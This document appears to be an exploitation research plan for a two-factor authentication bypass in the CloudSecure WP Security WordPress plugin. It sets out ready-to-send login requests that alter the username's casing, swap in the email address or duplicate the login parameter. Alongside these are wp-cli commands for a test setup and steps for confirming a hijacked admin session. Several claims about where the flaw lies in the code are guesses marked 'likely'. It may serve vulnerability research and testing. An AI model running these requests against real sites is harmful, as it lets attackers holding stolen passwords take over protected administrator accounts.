Exploitation Research Plan - CVE-2026-42411 (CloudSecure WP Security)

1. Vulnerability Summary

The CloudSecure WP Security plugin (up to 1.4.7) is vulnerable to a Two-Factor Authentication (2FA) Bypass due to an "Authentication Bypass by Alternate Name" flaw. In WordPress contexts, this typically occurs when a security plugin performs a case-sensitive check on the username to determine if 2FA should be enforced, while the WordPress core authentication mechanism is case-insensitive.

An attacker who has obtained a user's password can bypass the 2FA requirement by logging in with a variation of the username (e.g., using different casing or the user's email address) that does not match the plugin's internal 2FA-enabled user list but is still accepted by WordPress core as a valid identifier for the target account.

2. Attack Vector Analysis

• Endpoint: wp-login.php (Standard WordPress login).
• Attack Type: Logic Bypass / Case Sensitivity Manipulation.
• Authentication Required: None (unauthenticated attacker with a known password).
• Vulnerable Parameter: log (the username/email field).
• Preconditions:
  • The target user must have 2FA enabled within the CloudSecure WP settings.
  • The attacker must have the target user's password.

3. Code Flow

The vulnerability likely resides in modules/two-factor-authentication.php (referenced in modules/cloudsecure-wp.php).

1. Initialization: CloudSecureWP (in modules/cloudsecure-wp.php) instantiates CloudSecureWP_Two_Factor_Authentication.
2. Hook: The 2FA module likely hooks into wp_login or authenticate.
3. Logic Gap:
   • When a user logs in, the plugin retrieves the username from the request ($_POST['log']).
   • It checks if 2FA is active for that specific username string by querying its settings or a custom database table.
   • If the lookup is case-sensitive (e.g., isset($enabled_users['admin'])), providing an alternate name like Admin returns false.
4. Bypass: The plugin permits the login to proceed without redirecting to the 2FA verification screen.
5. Core Success: WordPress core receives Admin, finds the user admin, and completes the authentication.

4. Nonce Acquisition Strategy

This vulnerability exploits the primary login flow, which does not require a WordPress nonce for the initial wp-login.php POST request. No nonce acquisition is required for the exploit.

5. Exploitation Strategy

Step 1: Baseline Verification

Attempt a normal login with the correct casing to confirm 2FA is active.

• Request: POST /wp-login.php
• Body: log=admin&pwd=Password123!&wp-submit=Log+In
• Expected Response: Redirect to a 2FA prompt or a 200 OK with a 2FA input field.

Step 2: Exploitation via Alternate Name (Casing)

Attempt login using an alternate casing for the username.

• Request: POST /wp-login.php
• Body: log=AdMiN&pwd=Password123!&wp-submit=Log+In
• Expected Response: A 302 Found redirect directly to /wp-admin/, setting authentication cookies and skipping the 2FA screen.

Step 3: Exploitation via Alternate Name (Email)

Attempt login using the user's email address (if known).

• Request: POST /wp-login.php
• Body: log=admin@example.com&pwd=Password123!&wp-submit=Log+In
• Expected Response: Redirect to /wp-admin/, skipping 2FA.

6. Test Data Setup

To verify this in an automated environment:

1. Create User:

   wp user create victim victim@example.com --role=administrator --user_pass=password123
   

2. Enable 2FA Globally:
   The plugin's CLI can be used to enable the feature:

   wp cldsec-wp-security enable two-factor-authentication --enabled_roles=administrator
   

3. Register User for 2FA:
   Ensure the user victim is marked as registered. If the plugin uses user meta:

   # (Example meta key, adjust based on actual discovery)
   wp usermeta update victim _cloudsecurewp_2fa_enabled 't'
   

   Note: If the registration requires a TOTP secret, navigate to admin.php?page=cloudsecurewp_two_factor_authentication_registration as the victim to complete setup.

7. Expected Results

• Failure Condition (Secured): Both victim and VICTIM logins lead to the 2FA verification page.
• Success Condition (Vulnerable): victim prompts for 2FA, but VICTIM logs directly into the dashboard.

8. Verification Steps

After performing the HTTP POST request with the alternate name:

1. Check Cookies: Ensure the response contains wordpress_logged_in_... cookies.
2. Check Redirect: The Location header should point to .../wp-admin/ and NOT a 2FA-specific URL.
3. Validate Session: Use the obtained cookies to request wp-admin/index.php and verify the content contains "Dashboard".

   # Using wp-cli to verify the user state
   wp user get victim --field=user_login
   

9. Alternative Approaches

If case-insensitivity is handled but email login is not, focus on the email bypass. If neither works, check for Parameter Pollution:

• Payload: log=admin&log=nonexistent_user&pwd=password123
• If the plugin's 2FA check picks the last log parameter (empty/invalid) but WordPress core picks the first, 2FA may be skipped.

If the "Alternate Name" refers to the wp_signon logic, try providing the username via the user_login parameter instead of log (some plugins check one but not both).